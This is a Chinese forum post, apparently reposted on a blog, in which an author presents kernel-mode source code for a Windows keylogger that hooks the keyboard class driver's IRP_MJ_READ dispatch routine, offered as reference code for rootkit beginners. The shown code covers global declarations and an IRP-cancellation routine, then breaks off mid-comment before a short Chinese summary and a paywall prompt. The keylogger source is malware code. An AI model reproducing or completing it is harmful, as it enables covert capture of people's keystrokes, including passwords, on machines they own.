作 者: cogito
前天拜读combojiang 的rootkit hook 系列之[五] IRP Hook全家福(原帖:http://bbs.pediy.com/showthread.php?t=60022)之后,决定用文中的第三种方法实现一个KeyLogger。但是combojiang前辈并没有放上Demo,而且我在网上貌似也没找着完整的IRP Hook 键盘Logger实例,于是就写了一个,权当是为学习rootkit 的新人提供一份完整的参考代码(当然,我也是驱动新人),大牛请无视。
承achillis 前辈指教,我修改了卸载函数,卸载时把处于Pending状态的那个IRP取消掉,这样不需要再等待一个按键。
本例只替换原键盘驱动中的IRP_MJ_READ分发函数,并在回调函数中简单打印出键盘码。
主要代码如下:
代码:
#include <wdm.h>
#include <ntddkbd.h>
#include "IRPKlog.h"
//要获取的设备驱动名
#define KBD_DRIVER_NAME L"//Driver//Kbdclass"
//保存原有分发函数指针
PDRIVER_DISPATCH OldDispatchRead;
//保存键盘驱动设备对象
PDRIVER_OBJECT KbdDriverObject;
//未完成的IRP数目,不跟踪的话卸载驱动时会死得很难看
int numPendingIrps = 0;
extern POBJECT_TYPE IoDriverObjectType;
//保存当前pending的IRP 用于卸载时取消
PIRP PendingIrp = NULL;
BOOLEAN
CancelKeyboardIrp(IN PIRP Irp)
{
if (Irp == NULL)
{
DbgPrint( "CancelKeyboardIrp: Irp error/n" );
return FALSE;
}
//
// 这里有些判断不是必须的,不过还是小心点好
//
if ( Irp->Cancel || Irp->CancelRoutine == NULL )
{
DbgPrint( "Can't Cancel the irp/n" );
return FALSE;
}
if ( FALSE == IoCancelIrp( Irp ) )
{
DbgPrint( "IoCancelIrp() to failed/n" );
return FALSE;
}
//
// 取消后重设此例程为空
/

本文作者cogito,基于combojiang的IRP Hook系列,实现了键盘Logger的代码示例。该KeyLogger采用IRP_MJ_READ分发函数替换原键盘驱动的方法,回调函数中记录并打印键盘码。在卸载时,通过取消Pending状态的IRP以避免等待额外按键。
最低0.47元/天 解锁文章
1479

被折叠的 条评论
为什么被折叠?



